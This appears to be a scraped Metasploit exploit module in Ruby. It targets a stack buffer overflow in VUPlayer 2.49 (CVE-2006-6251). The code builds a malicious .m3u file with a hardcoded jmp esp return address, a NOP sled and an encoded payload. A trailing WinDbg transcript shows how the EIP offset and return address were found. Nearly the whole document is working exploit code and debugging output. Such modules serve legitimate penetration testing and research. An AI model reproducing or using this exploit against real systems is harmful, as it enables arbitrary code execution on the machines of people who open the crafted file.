90 lines
2.5 KiB
Ruby
90 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'VUPlayer M3U Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack over flow in VUPlayer <= 2.49. When
|
|
the application is used to open a specially crafted m3u file, an buffer is overwritten allowing
|
|
for the execution of arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'MC' ],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2006-6251' ],
|
|
[ 'OSVDB', '31710' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'DisablePayloadHandler' => 'true',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 750,
|
|
'BadChars' => "\x00",
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
|
|
'DisableNops' => 'True',
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Aug 18 2009',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
m3u = rand_text_alpha_upper(2024)
|
|
|
|
m3u[1012,4] = [target.ret].pack('V')
|
|
m3u[1016,12] = "\x90" * 12
|
|
m3u[1028,payload.encoded.length] = payload.encoded
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(m3u)
|
|
|
|
end
|
|
|
|
end
|
|
=begin
|
|
0:000> r eip
|
|
eip=68423768
|
|
0:000> !pattern_offset 2024
|
|
[Byakugan] Control of ecx at offset 996.
|
|
[Byakugan] Control of ebp at offset 1008.
|
|
[Byakugan] Control of eip at offset 1012.
|
|
0:000> d esp
|
|
0012ef44 39684238 42306942 69423169 33694232 8Bh9Bi0Bi1Bi2Bi3
|
|
0012ef54 42346942 69423569 37694236 42386942 Bi4Bi5Bi6Bi7Bi8B
|
|
0012ef64 6a423969 316a4230 42326a42 6a42336a i9Bj0Bj1Bj2Bj3Bj
|
|
0012ef74 356a4234 42366a42 6a42376a 396a4238 4Bj5Bj6Bj7Bj8Bj9
|
|
0012ef84 42306b42 6b42316b 336b4232 42346b42 Bk0Bk1Bk2Bk3Bk4B
|
|
0012ef94 6b42356b 376b4236 42386b42 6c42396b k5Bk6Bk7Bk8Bk9Bl
|
|
0:000> s -b 0x10100000 0x1010a000 ff e4
|
|
1010539f ff e4 49 10 10 20 05 93-19 01 00 00 00 9c 53 10 ..I.. ........S.
|
|
0:000> u 0x1010539f L1
|
|
BASSWMA!BASSplugin+0xe9a:
|
|
1010539f ffe4 jmp esp
|
|
=end
|